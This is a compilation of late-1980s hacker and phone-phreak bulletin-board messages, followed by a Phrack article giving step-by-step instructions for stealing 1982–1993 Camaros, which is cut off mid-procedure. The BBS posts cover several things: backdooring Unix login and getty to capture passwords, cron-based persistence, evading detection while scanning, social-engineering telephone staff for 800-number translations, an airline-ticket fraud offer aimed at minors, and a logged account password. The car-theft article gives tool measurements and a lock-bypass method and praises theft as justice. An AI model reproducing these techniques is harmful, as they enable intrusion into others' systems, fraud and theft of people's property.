free. Hacking airline tickets isn't as

hard as you think. If

your interested, maybe to go to a TAP m

eeting or something,

leave me EMAIL. It is relatively easy,

but one screwup can ruin

you. There are others who may have some

idea how this is done,

but have not actually done it. Leave me

EMAIL if your interest‑

ed. You must be a minor, however, and y

ou must leave me a VALID

phone number in feedback since there ar

e security measures in‑

volved since it is grand fraud.

*** Broadway Hacker ***

(‑+‑)(Chaos)(+‑+)

Hack‑a‑trip

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MESSAGE #63: ARGGGH!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg left by: KARL MARX

Date posted: SAT JUL 21 4:14:43 PM

Ahem, I don't know if I am getting moral

or something, but things are getting

pretty, well, strange.

First off: unix is pretty easy to crash

if you want to‑‑but why would you want

to? Obviously, very few people know

"everything" about Unix, and I would

like one reason that destroying a system

would be better than learning to use it's

"special" features. If you want to get

your face on Newsweek, go ahead, but

otherwise, don't start destroying stuff

just for the sake of vandalism! Instead

of being a vandal, do somthing Robin

Hood‑ish, like nice the parent process

of the batch runner to ‑20 or somthing.

Or give everyone full privilige

to / or make them all user 1.

Otherwise, as for metro tracing, that's

kinda hard to swallow. Would whoever's

friend's sister care to elaborate on that

one?

I don't know if anyone cares, but I had

a chance to take a look at those

"goldphones" and Geez!!! There were

codes written all over it! I don't

understand some people very well. That

is simply stupidity.

There is really nothing "new and exciting"

in phreaking anymore... most of what you

hear is bullshit from some twelve‑year‑

old that just learned how to use metro last

week. There is simply no "new" anything!

Eventually there will be, but until then

these "phreak" boards will simply be

"how to phreak"‑‑tutorials instead of

journals. Drat!

:::::::::::::::::::::Karl Marx

LOD

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You have been on over your time limit.

Use the 'O' option to log off.

____

Logout Job ??, TTY ??,

On 21‑7‑84 For 34 Minutes

________________________________________

*** {Samples from the Phoenix Project BBS (512), Sysop: The Mentor} *** *** {As many are aware, the Phoenix Project was one of the intended} *** *** {targets in the Hacker Crackdown of 1990 and was erroneously} *** *** {affiliated to Steve Jackson Games' Illuminati BBS} ***

*** {Other Networks Sub‑Board} ***

8/60: Autonet...

Name: Erik Bloodaxe #2

Date: Thu Jan 11 13:18:39 1990

It wouldn't be such a great idea to scan Autonet through the Telenet gateway. Autonet raised a holy shit‑fit when Urvile was doing it about a year ago, and sent Telenet Security all kinds of nasty mail bitching for them to stop whoever in 404 was connecting to their system. Telenet blew them off, but if it started again, Telenet might just have to listen to their whining and crack down.

I suggest you (or whoever is planning on this) do your scanning through a main dialup. It will be slower, but probably safer in the long run. ‑>ME

46/60: pac*it

Name: Corrupt #114

Date: Thu Feb 01 06:59:10 1990

pac*it plus calls 03110..germany and spain..I didn't think it called DPAC. usefulfor scanning spain..but at this point......hmm I'd be scared of what MCI i would do then GM...

anyone up on Kinneynet?hehehehehe

I'll post the dialup later but u need a NUI for it :‑((

Develnet? I thought the Develnet was just x.25 server software! I've seen several Develnet pads and I had gotinto thesystems it connected to and they weren't MEAN related...maybe I'm wrong?(it was a modm company.) Needless to say I was pissed when everyone used it todeath just to see a pretty (canada)..the reason it diconnects is because of where you're calling from..if you call from canda u probably won'T expirence this problem....on the

03110 develnet..same thing cept you have to be at console...there are still somesystems availble from there that r open..here'Sone IBM <‑i couldn't hack it so of course I posted that one:‑))

C U‑‑>greets from [8lgm]corrupt

*** {The HP‑3000 Sub‑Board} ***

36/41: Woah!

Name: Erik Bloodaxe #2

Date: Mon Jan 22 03:36:40 1990

I wasn't ragging on MPE! Not at all, i was just "JOking" about the large numbers of hp‑3000 systems around the world and the unbelievable ease in gaining access on one.

Geez, read...MPE seems ok, just kinda hard to get used to.

I mean, I'm in HUNDREDS of hp's, but until last year I didn't know what to do with them...so they just sat there.

UNIX is just as lame security‑wise, but On a percentage basis, I have gotten into 85‑90% of the HP's I have found, while I've only gotten into abot 50% of the UNIXes I've found.

(Look at me grovel before one of the two HP experts I've ever seen...pathetic, isn't it?)

Wiz, no offense intended towards your adopted O.S.

‑>ME

*** {UNIX Sub‑Board} ***

60/69: both ways

Name: Corrupt #114

Date: Mon Feb 05 05:08:25 1990

nice trojans

‑‑‑‑‑‑‑‑‑‑‑‑

good security

this works both ways....look‑out for unixes(and VMS sites) that keep another copy of /etc/passwd (or sysuaf.dat) and everynite rewrite it over the one used for login(some any mods are discovered)..u can alternatly install some security inside likethis for yourself...(hide it in CROn) (or wherever u want on vms:‑)) undersytand? I know I'm not clear:‑((

but thats works for you sometimes and it'S simple if you know script:‑) anyone here into Rapid Fire hacking?

*** {Electronic Banking Sub‑Board} ***

12/32: Treason & Government Smegma...

Name: Erik Bloodaxe #2

Date: Fri Jan 19 02:06:13 1990

It's the Major SS buzzword these days.

Treason. If someone is poking around in ANY system they feel is sensitive (although they leave sysdiag unpassworded, or lp password lp, etc..) they will then label you as:

"A Serious Threat to National Security!"

Give me a break. Hell, I think my association with Par & Phoenix alone is enough to get me the firing squad. I haven't even done anything, but it seems that everything bad that's happened I keep getting brought up, as I know such and such, or I somehow know EVERYTHING about how such and such happened.

Well, I've tried my best to be good, and stay out of government things, military things, etc... I've even edited out the "sensitive" things I've run across in the Telenet scanning just for their sense of well being, but if I begin to feel threatened, it's all going out. Unabridged. We will see...I'm already getting nervous...the feds are already pissed that LOD is still kicking, and this bbs must have SLAMMED it into their faces. And I know that the EFT files must have pissed them off as well, although that may or may not have anything to do with

this bbs suddenly going back up.

Well, I'm not a threat to ANYTHING, except myself maybe. Anyone who knows me knows that. Back me up people. This is my public announcement of not‑guilty to any and all crimes against the Security of the United States. So what if I was scanning 2502 a while back? Anyone ever think that it would be in THE INTEREST OF NATIONAL SECURITY to hop into a Soviet system? I thought it would.

Par knows what I mean. Hell, The government now seems to think he's a spy, and wants to shoot him. Killing Teenagers for fun is not my idea of constructive problem solving guys. Take an extended course in the ways of the hacker. That education might do you all a world of good. You may even pick up something you missed in your little weekend getaway training seminar in fighting computer crime. When you come and kick in my door, (don't step on the cat), and if you don't blow me away first, maybe I can educate you all a little better on what is REALLY GOING ON! (This message posted for the Secret Service & CERT, et al. whomever is posing on here, or reading this via Mentor's & My own Data Taps) ‑>ME

*** {Phone Co. Computers Sub‑Board} ***

3/46: LMOS

Name: Acid Phreak #8

Date: Tue Jan 09 17:56:23 1990

The most recent LMOS interlude was one in my local area. Got the host processor (an IBM 3270) off Predictor. Overall, a very handy tool to add to your telco 'collectables'. The FE's of course were PDP 11/70s using MLT for reference.

Aw thit.. lookit all dem Hicaps.

‑‑ap

(advanced phreaking)

6/46: ICRIS

Name: Phiber Optik #6

Date: Wed Jan 10 16:37:27 1990

Not to nitpick, but an LMOS CP is an IBM S370 (3270 is an SNA, used to get to BANCS through LOMS for instance).

CRIS, as mentioned, the Customer Record Information System is a dandy little IBM system whose main purpose is to house customer records. There are a small handful of "CRIS" systems, like LCRIS (Local), and ICRIS (Integrated, which should be noted is used by the Residential Service Center). Here in NYNEX, the only way to reach these systems (we obviously aren't hardwired hackers) is through BANCS, a bisync network. BANCS is not direct dialable, but IS available through a 3270 link on the LOMS system, used by LDMC (LAC or FACS, depending where you live). And LOMS IS accessible. A host of systems are also available through FACS (which can be reached through LOMS on BANCS) such as CIMAP, LMOS, SOP, TIRKS, the COSMOS‑PREMISE interface, etc. So as you can see, rather than going after any specific system, going after the RIGHT system will pay off greatly (LOMS in this example). Oh, waitta‑minnit, those mentioned systems are off of BANCS, sorry. You can reach FACS on BANCS, and access a couple 'o things like some of those mentioned, COSMOS (certain wire centers only), etc. OK, enough rambling. Let's hear someone else's input. Phiber Optik

Legion Of Doom!

$LOD$

________________________________________

*** {The Twilight Zone BBS (203), Sysop: The Marauder} *** *** {NOTE: All messages from 1985 unless stated otherwise} ***

[MSG #12 OF 22]: INWATS & X‑LATIONS

FROM: THE MARAUDER

DATE: MAY 08 {1985}

Under CCIS, INWATS (800's) are handled completely different from the older method (the old method i don't completely uderstand, but it translated somehow based on it's own prefix & suffix). under ccis on the other hand, inwats #'s are handled in the following manner: when the 800 number reaches your toll office, a query is made to the 'INWATS DATABASE', (the master database being at the KC RNOCS I believe), i believe each RNOC (regional network operations center, of wich there are 12, one for each region), has their own database (which is updated on a regular basis). a query is made (via a CCIS link) to the inwat's database, and a POTS (plain old telephone service, just a plain 10 digit ddd telephone number, ie: npa+pre+suffix), and the POTS number is pulsed out from the toll center and your call is completed just like a normal ddd (direct distance dialing) call, talthough it was noted that the call was an 800 at the origination (your) toll office, so and you are not charged foor the call.. with this in mind, it's a simple matter for the inwat's database that handles your reigon to return a translation that differs from another reigons translation, for example say fred phreak in new jersey places a call to LDX extender service at 800‑XXX‑3333, upon reaching his toll center, the toll center quereys the inwat's database that handles new jersey, and a POTS translation is returned which for obvious reasons would be the closest port to him, so let's say the translation was (201)‑XXX‑4455, the toll office upon recieving this would proceed to complete the call, and fred phreak would be connected to LDX at (201)‑XXX‑4455..

continued next..

<1‑22, ^12> [?/HELP]:

[MSG #13 OF 22]: ABOVE CONT'D

FROM: THE MARAUDER

DATE: MAY 08

now, on the other hand let's say bill phreak in california calls the LDX extender service at (800)‑XXX‑3333 (same number fred called from NJ), his regions inwat's database may return a completely different POTS x‑lation say (213)‑XXX‑1119, again being ldx's closest port to bill phreaks toll center..

utilizing ccis, and inwat's databases, other clever things are possible for example, as you all know ALLIANCE teleconfrencing is unavailable on weekends, here's how that works: when you dial 0‑700‑XXX‑1000, that number is intercepted at TSPS and translated into a corresponding WAT'S number, for this example, we'll say it translates to (800)‑XXX‑1003 (white plains), and forwarded from tsps to a toll center, the toll center upon recieving the 800‑XXX‑1003, queries it's inwat's database and a POTS translation is returned say 914‑XXX‑6677, which is the DN (Directory Number) for the bridge‑center. now on a weekend, the inwat's database, instead of returning 914‑XXX‑6677 may return 914‑XXX‑0077, which would terminate at a recording saying alliance is not reachable on weekends.., that's why everyone is alway's interested in the 'ALLIANCE TRANSLATIONS'. Because if you have the x‑lation you can simply use a blue box to route yourself directly to the bridgecenter and bypass the whole tanslation procedure..

any questions, please post..

The

Marauder

Legion of Doom!

_______________________________________

*** {Black Ice Private (703) BBS Message Base Sample} *** *** {Black Ice had a VERY restrictive user base as shown in the} *** *** {included userlist. The quality of the messages was excellent} ***

%> Sub‑board: Advanced Telecommunications

%> SubOp: ANI Failure

%> Messages: 100

%> Files: 0

%> Message: 32 of 100

%> Title: 800 xlations

%> When: 12/16/88 at 2:45 am

%> Left by: ANI Failure [SubOp] [Level: 8]

You can get them from a 4ess or some work centers like RNOC and RWC (good luck, have a dialback).. Or from ONAC in Kansas City (816). The Operations Network Adminstration Center is the focal point for 800 services in the AT&T network. ONAC works in conjuction with the AT&T WATS centers (I think there are 3?) and 800 service co‑ordinators to do operations, adminstration, and maintenance on the 800 number network. You can reach the WATS centers phree of charge with a 959 plant test number in the correct NPAs (I know 914 has one). I think it was 959‑5000 but that might be wrong.

The tech. term for an 800 xlation is a plant test number. This does not have to be pots, but can be other system codes like 122, 195, 196, 123, etc. The only type of 800 number that terminates in POTS is a READYLINE 800 number (AT&T). I don't know about sprint, mci, etc. though. A good topic for investigation though, thankx for the idea!

If you have access to a 4e (does anyone on her have this? If so I'll trade anything I have for a 4e), you can type this in to translate a number:

well....i can't find the right notebook. it is somethink like:

TEST:DSIG;INWATS 800 nxx xxxx!

This does a Direct Signaling (DSIG) message into the 4E which commands the 4E to pull the 800 internal number from the network control point (NCP) over CCIS links. The 4E you are on must be included in the service area of that 800 number though, i.e. someone in the area served by that 4E would have to be able to dial it in order for the 4E to have the xlation. So if the 4E is not in the right area it will say 'NON SUBSCRIBED' or something of that nature. Oh, I just remembered, there is an AT&T work group named DSAC (Direct Signaling Admin. Center) that performs direct signaling messages into switches and things. If you want the DSAC #, I can provide it..I don't think too many phreaks have their number so they might be worth engineering.

Oh ‑ the 800 xlation input message into the 4E was social engineered a long time ago by The Marauder and Phucked Agent 04 from an RWC. But, thanks to a fuck up by The Executioner and friends, the RWCs became very tight lipped...it only takes 1 fuckup...

Um, I have gotten translations from the customer before, posing as AT&T and giving them bs about 'MLT has found a potential trouble in your circuit' (haha) and we need your translation number. I only did this once since I have never had any major need to pull 800 xlations. But that will work in some cases if a human answers. Or if you can get the terminating company name/location, you can keep engineering and narrow down the locations of the xlation (say within their centrex group or something) and then (ughh..dangerous and slow) scan for the number, or do more engineering for it, etc...

There is an easier way to get 800 translations but I swore not to tell anyone (that was the conditions of me getting the info) from a certain AT&T dept and a certain support system...if you want a translation in an AT&T area I will try to get it for you though....so leave mail or post and maybe I can help..

ANI‑F

legion of 800 numberz

________________________________________

*** {UNIX Sub‑Board} ***

%> Sub‑board: UNIX

%> SubOp: The Prophet

%> Messages: 99

%> Files: 1

%> Message: 5 of 99

%> Title: getty, login

%> When: 12/16/88 at 6:19 pm

%> Left by: The Urvile [Level: 8]

for getty, just check and see if the first entry is <something>, where that is your back door, of sorts. the init program will have to be a bit (?) larger than the original, considering that you'll have to put in the stuff to make it set up your environment & exec /bin/sh.

login, on the other hand, can put a backdoor in the gpass() routine, which can conveniently write the passwds to a file. not too useful to have lots of passwds in an already backdoored system, you say? bull. there are lots of southern bell systems i've gotten into by using the same passwds as the hacked system. also, what if they remove the backdoor? too bad, it'll take you an hour or so to put the source up & modify it again.

one thing that i've been thinking about: on a system, backdoor getty, login, (for the reasons cited above), and something like 'date', to check 1) if root is using the program, and 2) to see if your handy dandy login has been erased, and put it back if 3) a day or so has elapsed from the last call of the 'date'. well, i thought it was a good idea. much better than using cron & whatever to put a username in the passwd file.

encryption on cosmos:

it's strange, to be sure. i tried putting a 404 cosmos passwd on your 602 cosmos. The user id's were different, the versions of cosmos were different, i think, but the username was the same. has anyone ever seen ANY (no matter how old) cosmos login source?

incidentally, is anyone doing anything on sbdn of late?

scanning for addresses is generally a bad idea.

*** {SPCS/OSS Information Sub‑Board} ***

*** {Stored Program Control Systems / Operations Support Systems} ***

%> Sub‑board: SPCS/OSS Information

%> SubOp: ANI Failure

%> Messages: 97

%> Files: 1

%> Message: 19 of 97

%> Title: DMS

%> When: 12/28/88 at 10:20 am

%> Left by: Epsilon [Level: 8]

I found out some things about DMS if anyone's interested. I only spent a little while looking around, but I managed to figure out that the DMS does indeed have a sort of tree structure. I haven't figured out the structure of TABLES yet, but I kind of know how the rest works. Watch..

Ok, from the > you can enter tasks, (I prefer to call them toolboxes because they're like little tools you can run to perform different things.) For instance, you have one called LOGUTIL which is some sort of utility that keeps tabs on various things, and you can view the logs kept. After you have entered LOGUTIL, you can type LIST LOGUTIL and it'll spool out commands. You can also type LIST LOGS to see a list of logs that are kept.

The next thing I was fooling with was SERVORD, which is obviously some type of Service Order processing software. This toolbox is much friendlier, as it does include the help command, and it provides help on the syntax of each command. Unfortunately, it does not give each parameter for each command. I'm sure that would take up quite a lot of space. I think you're going to need a manual to really do anything cool with SERVORD, but hey..

Sorry if you people knew all of this already. I guess I'll keep posting about it as I learn more.

Sheesh. Lame post.

Epsilon

________________________________________

*** {Userlist as of Mid‑May it seems} ***

%> Black Ice Private User List <%

Name Level Status Posts Last on

===============‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=====‑‑

System Operator 11 Sysop 33 5/16/89 The Mentor 11 Sysop 59 5/16/89 Epsilon 8 Charter 106 5/8/89 The Prophet 8 Charter 59 5/15/89 ANI Failure 8 Charter 220 5/6/89 The Urvile 8 Charter 71 5/4/89 Doc Cypher 8 Charter 56 5/13/89 Lex Luthor 8 Charter 21 5/10/89 The Leftist 8 Charter 20 5/14/89 Erik Bloodaxe 8 Charter 75 5/17/89 Empty Promise 8 Charter 16 5/5/89 Generic 1BED5 8 Charter 46 5/16/89 Skinny Puppy 8 Charter 93 4/23/89 Jester Sluggo 8 Charter 32 5/13/89 Red Eye 8 Charter 31 5/2/89 The Marauder 8 Charter 9 5/12/89 Ferrod Sensor 8 Charter 10 3/30/89

________________________________________

*** {Tymnet (Packet Switching Network) Sub‑Board} ***

%> Sub‑board: Tymnet

%> SubOp: Lex Luthor

%> Messages: 48

%> Files: 0

%> Message: 36 of 48

%> Title: isis and elf

%> When: 3/25/89 at 12:37 am

%> Left by: Lex Luthor [Level: 8]

I believe ANI was correct about the acronym for ISIS.

Internally Switched Interface System

I think it is the go between from the engine to the node code. Kind of like how assembly is the go between my apple and basic.

ELF ‑ Engine Load Facility. This is a program that transfers and loads code into a TYMNET Engine node.

ISIS has slots, in each slot a program (node code) can run. This node code is different for different tasks.

I should clarify the above, only one 'application' ie: gateway, tymcom, whatever, can run on isis, and usually is found on slot 0. But other programs can be run on other slots. Programs that allow you to log into the slot and do things. like DDT ‑ Dynamic Debugging Tool.

All this and more will be explained in my upcoming (hopefully) file on Tymnet called‑‑ Anatomy of a Packet Switching Network: MDC's TYMNET.

inter‑link cleared from VALTDNET (C) H9 N4067 to TYMNET (C) H5981 N7347 inter‑link cleared from H1 N2010 TESTNET to H1 N2200 BUBBNET inter‑link cleared from TYMNET (F) H5277 N6420 to BUBBNET (F) H15 N2324 inter‑link cleared from AKNET to TYMNET

inter‑link cleared from TYMNET to AKNET

inter‑link cleared from TRWNET to PUBLIC TYMNET

inter‑link cleared from PUBLIC TYMNET to TRWNET

please log in: DECLOD

Password: DECLODH

Interlink established from TYMNET to TSN‑NET

Please log in: Gomer T. Geekster

‑‑Lex

%> Message: 44 of 48

%> Title: ontyme II

%> When: 4/4/89 at 1:15 am

%> Left by: Lex Luthor [Level: 8]

The system used for setting up the DECLOD acct was TYMVALIDATE which isn't exactly the same as NETVAL but close.

Be careful with ONTYME II, since it automatically updates ALL files you read. So if you read some files in that persons' personal directory, they can see that either someone has their acct/pass or someone is using IMITATE and reading their stuff. Me and Skinny Puppy are working on a way to defeat this....

Lex

%> Message: 47 of 48

%> Title: INTL TYMNET

%> When: 4/21/89 at 1:17 pm

%> Left by: Skinny Puppy [Level: 8]

International Tymnet ‑ how many of you have seen tymnet claiming that it serves over 65 countries, but don't really belive it? well, they do, sort of. There is a tymnet‑europe called Mcdonnell Douglas Information Systems (MDIS). While I don't have any dialups for it, I have X.121 addresses in France and BeNeLuxKG. once you get there, you can type HELP and glean alot of what is going on. The interesting thing is that a lot of things that say ACCESS NOT PERMITTED from regular tymnet are actually european addresses and can be used on MDIS. for instance, ROMA (Italian for ROME), ESAIRS, and EURONET (which is a host selector for american public timesharing systems). While there doesn't seem to be a lot of european hosts, I am sure that if everyone on here pulled up all their old tymnet‑hack sheets where they had things listed as ANP (My abbreviated for ACCESS NOT PERMITTED) and tried a few we could find something new. Right now, I will only give out my French MDIS gateway ‑ It is 208092020029. Figure out how to get there yourself. If you DO find anything interesting, leave me mail, and we can trade. I already have some internal MDIS systems there, if I can just figure out how to use them.

Coming Soon to a Board not so near to you: NISNET (tymnet‑japan) and the Carribean tymnets. Until then, ASSIMILATE

Skinny Puppy 21 april 1989

________________________________________

%> Sub‑board: Vocal Hacking

%> SubOp: ANI Failure

%> Messages: 45

%> Files: 0

%> Message: 3 of 45

%> Title: Operator engineering

%> When: 12/6/88 at 12:43 am

%> Left by: Ferrod Sensor [Level: 8]

To answer ANIF's question, I have been doing some TSPS/TOPS engineering lately for a variety of purposes, one of which is a bit far fetched but has possibilities. I am trying to find a way to possibly freeze an operator console (the method I am trying is actually simpler than it sounds). It involves getting the op to connect to a short circuite test code, either by ACS (key) or by OGT (outgoing trunk) outpulsing sequence. There area a few flaws in this though, the main one being the more than likely possibility of the Op simply releasing the console position (even though the short circuit, when dialed, cannot be hang up on, the caller must wait for it to time out (about three minutes or so).If this was the case, then the result could be the Operator having an inaccessible outgoing line for a short period of time, which wouldn't affect much with the actuall console..The things I tried recently with this didn't result in much, but if I take into account TOPS/TSPS RTA (Remote Trunking Arrangements) setups (where a caller from one area code, with a 0+ or 0‑ call, may be connected to an operator in a site in a different NPA. Test codes are different, even in exchanges, so an operator site in a diffeerent NPA wouldn't be affected the same with a different code.

The overall purpose to this would be to create a certain condition with the operator network that could be used to gain information when investigated, say by someone from Mtce. engineering or theTOPS/TSPS SCC or equivalents. There are other ways to start an engineer of course, but this is just something that's concrete (meaning you could get people to fish around for info a bit easier than coming in for a random request.

This is getting a bit long. I'lll post more later about Operator engineering, something more immediately practical next time. The board looks promising.

Ferrod/LOD

_______________________________________

LOD Communications: Leaders in Engineering, Social and Otherwise ;)

Email: lodcom@mindvox.phantom.com

Voice Mail: 512‑448‑5098

Snail Mail: LOD Communications

603 W. 13th

Suite 1A‑278

Austin, Texas USA 78701

_______________________________________

End Sample H/P BBS Messages File

LOD Communications: Leaders in Engineering, Social and Otherwise ;)

Email: lodcom@mindvox.phantom.com

Voice Mail: 512‑448‑5098

Snail Mail: LOD Communications

603 W. 13th

Suite 1A‑278

Austin, Texas USA 78701

Step By Step Guide To Stealing a Camaro

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 20 of 27

[** NOTE: The following file is presented for informational purposes only. Phrack Magazine takes no responsibility for anyone attempting the actions described within. **]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Step‑by‑Step Guide

to

Stealing a Camaro

by

Spy Ace

spyace@mindvox.phantom.com

PURPOSE: To describe step‑by‑step, with specificity, exactly how the average person might accomplish with skill and alacrity, the theft of a motor vehicle, particularly 1982‑1993 Chevrolet Camaros, Pontiac Firebirds and similar beasts.

MOTIVE: While I am a telecommunications enthusiast, I am also a basically honest, law‑abiding working man. In 1989 an individual driving a borrowed automobile struck my only means of transportation, a 1986 Chevrolet Camaro, totalling it. My vehicle was parked and unoccupied at the time. In an amazing feat of legal maneuvering, and after protracted judicial proceedings, all parties involved managed to escape liability and I was left without a car or reimbursement. The insurance companies are lying, cheating scum. As a result, I took matters into my own hands and stole a replacement car. I came to the conclusion that the justice system in this country exists only to protect the strong from the weak, the haves from the have‑nots and the rich from the not rich. It has nothing to do with rectifying wrongs. It is therefore incumbent upon all aggrieved parties to seek personal satisfaction when the American legal system fails to provide it. My motive is thus twofold:

1. To see the evil insurance companies screwed some more by sharing my knowledge of car‑thieving techniques with those who might apply them.

2. To assist the little man in obtaining justice when he/she may by confronted with a situation similar to mine.

BACKGROUND: Before I stole my car, I conducted extensive research and talked to a number of individuals in the automotive repossession field, law‑enforcement, and several auto mechanics. I assure the reader that everything contained in this file is true to the best of my knowledge and that I HAVE ACTUALLY DONE WHAT I AM WRITING ABOUT. I am not writing hypothetically; I speak from experience. I urge the reader, if he is serious about stealing a vehicle, to verify my research and find out much of this information for himself. Auto shops at local high schools/community colleges are excellent places to experiment and learn, and auto repossession specialists are invaluable sources of information.

‑‑‑‑‑‑

So, you've decided to steal a car. How nice. In this article I will be covering in detail exactly how I stole a 1988 Chevrolet Camaro to replace the 1986 of mine that was destroyed by an irresponsible driver. The techniques described herein will work on 1982 thru 1993 Chevy Camaros/Z28s/IROCs/Berlinettas and probably the same years Pontiac Firebirds and Trans Ams. With regard to the Pontiacs I cannot say for certain because I only experimented on Camaro variety cars since that is what I was after. The Pontiacs are very similar, however, and I believe this information to be applicable to them.

There are basically only two stages to obtaining possession of a vehicle. First, one must gain actual physical access to the inside of the car and second, one must disable the steering‑lock mechanism and activate the ignition. Once these two things have been accomplished, the vehicle is yours, subject to the infuriated efforts of the owner to regain it. It should be noted, of course, that there may be complications associated with either of these steps, such as alarm systems or the factory anti‑theft mechanisms. I will deal with both of these in turn.

First, gaining entrance to the vehicle. This will require one tool: a 24‑inch aluminum "shop" ruler. I tried several and settled on the Pickett brand ACF‑24, available in most art/blueprint supply stores. It consists of a 1.25x24x1/16 inch piece of aluminum. For maximum efficiency, it should have two slight bends to it. First, at 14 inches, bend it subtly to about 15 degrees. Then, at 19 inches on the ruler, bend it back so that the two sections are parallel. Like this:

N

_________________ W + E

\____S

Of course, the angle in this diagram is far too steep. Both angles should only be about 15 degrees. Hopefully, you get the idea. If not, you probably shouldn't be thinking about stealing a car. In any case, if you have succeeded in fashioning this, you are now armed with the only tool necessary to gain keyless entry into your soon‑to‑be new Camaro. The application of this tool is simple. Walk up to a Chevrolet Camaro of a year described above, position yourself at either door. FIRST: Check to see if the door is unlocked. You'd be surprised. If it isn't, you will need to insert the tool straight down, in between the rubber weather‑stripping and the glass, approximately 4‑5 inches from the back of the door, directly in line with the door‑lock. Insert the tool such that the small section (see above diagram) is thrust down into the door (did I mention that stealing a car is very sexual? Never mind...). The small section of the tool should be bent TOWARDS you as you stand at the car. In the above diagram, north is towards the car, west is straight up in the air, east is straight down towards the inside of the door, and south is towards you as you stand at the car. Got the picture? If not, get a friend to explain it to you.

The tool should go in about 16 inches until it catches the lock mechanism. If it goes in further than about 17 inches, withdraw and try again. Drive straight down, don't force, try moving your position an inch to the right or left. Eventually you will feel the lock mechanism. It will be rigid but a little spongy (epitome of GM engineering). Press down hard on the tool and let up. Try the door handle. Does it open? It probably will. If not, drive a little harder and keep trying the door. It will give eventually.

WHY THIS WORKS: Well, this works for two reasons. First of all, General Motors is run by a bunch of cheap bastards and their cars are designed by engineers who couldn't find their asses with both hands. Basically, it's a shitty lock mechanism. It was designed shitty and the clods who sell us the piece‑of‑shit cars couldn't care less if they get stolen so they've never bothered to redesign the damn thing.

In order to understand exactly why it works, the curious reader would be well advised to go to his local library and look in a Clymer or Chilton automotive repair manual for 1986 (or thereabouts) Camaro. In Chapter 12 of the Chilton, under "Body" (page

290 of mine) there is a magnificently concise exploded diagram of "Outside door lock assembly" which contains all the relevant information. The lock cylinder itself is connected to some linkage which activates the locking/unlocking mechanism. After a few months of normal use, this linkage develops some "slop" in it due to slight wear of the locking cylinder attachment. By pressing down on the linkage down inside the door, you are activating the (un)locking mechanism directly and there is enough play in the locking cylinder to allow it to give. Take a look at the diagram and you'll understand completely.

Once I understood the locking mechanism, the deficiencies therein, and formulated an approach to overcoming it, I practiced on a friend's Camaro about a hundred times. If done properly and carefully, this will in no way harm any part of

the car or locking mechanism. Try it on the driver's side

first; this is usually the easiest because it has the most wear in the linkage. Then graduate to the passenger side door. Then try it out about a hundred times, then with your eyes closed, then while drunk, then with one hand tied behind your back. In

a day or two you'll be able to get into a Camaro in less than ten seconds.

A note about alarms: some clever individuals, in an effort to keep their prized vehicles from being stolen by the likes of you, have equipped them with a motion sensor or other devious device which tends to emit a shrill series of tones when aggravated. I suggest that before trying to open someone else's car, you first give it a good rocking back and forth in order to set off any alarm which might be present. Since it is not illegal (though it may be physically dangerous) to rock someone's car, it's always best to try this before actually breaking in. If the alarm screams, go on to some other victim. Personally, I have encountered very few alarms; the "it won't happen to me" attitude is still prevalent.

Once you've gained physical entry into the vehicle, you are now ready for Step Two, ignition lock bypass. Unfortunately, this is a difficult step. I did a tremendous amount of research to determine the best way to deal with this problem and have developed an approach. It is by no means the only way to breach the ignition locking mechanism, but in my opinion it is the best. In developing this method I was most interested in several goals. First of all, I wanted an elegant solution; that is, something simple. Minimum tools and work required, and something that worked ALL THE TIME, not 50%. Second, I wanted an approach that could be accomplished quickly (for obvious reasons) and with minimum damage to the vehicle. Ideally, I wanted an attack which would not even be immediately obvious to someone (such as a cop) glancing in my car at a stoplight. Spending 30 minutes tearing apart the steering column might allow you to get the car started, but it won't meet the above criteria: speed, elegance, reliability, invisibility.

The problem is that to do this requires a special tool and to get this tool one must either send away for it or have access to a machine shop to fabricate one. Neither of these is quick and easy, but the preparation is well worth it. Here's the basic idea. The General Motors vehicle uses an ignition locking mechanism called a "sidebar." This is basically one nasty piece of hardened fucking steel which blocks the lock cylinder from rotating when a properly‑fitting key is not in place. It makes it impossible to simply "shear off the pins" by brute‑force turning with a screwdriver or similar device. The solution is to use a tool capable of cracking the lock cylinder housing in which the sidebar sits. The cylinder housing itself is cast aluminum, which is considerably weaker than the sidebar itself, so when the proper force is applied it will be the housing which gives, not the sidebar. But no matter.

First, get access to a Camaro, or for this exercise, just about any GM automobile since 1978 (the year they got the bright idea to put a locking screw in to keep people from just ripping the whole ignition lockset right out ‑‑ but that's a whole different story...). My favorite place to experiment on cars without being observed (and in fact legally) is to go to a local self‑serve auto‑wrecking "You Pull It" yard. They have these in many cities around the fruited plains; you pay a buck or two to get in and then go pluck parts from rotting American classics. If you don't drag any parts out, you can basically tear apart all the cars you want for a buck. If you don't have a You‑Pluck‑It nearby or are philosophically opposed to vehicular cannibalism, then use the method previously described to break into someone's Camaro for this.

Once you have access to a GM (preferably a Camaro), get a screwdriver out and pry the outer ring off of the ignition set. The ring I'm talking about is the thing with the two tabs on it for your fingers to turn when you rotate the ignition to start the car. Just pry that sucker off of there ‑‑ it comes off very easily as it is affixed by two small gripping tabs. I can usually remove it by hand, but it's easiest to simply pry gently with a screwdriver. After you have pried that off of the ignition set, take a look. You'll see the ignition cylinder (with the keyway), the outer housing, and the actual ignition activation mechanism, which has two slots in it (where the outer ring fit into before you pried it off). This ignition linkage, with the two tabs, is what turns when a fitting key is inserted into the keyway and then turned. Note that in a GM ignition set, a fitting key serves only to withdraw the sidebar to allow the outer ignition mechanism to turn.

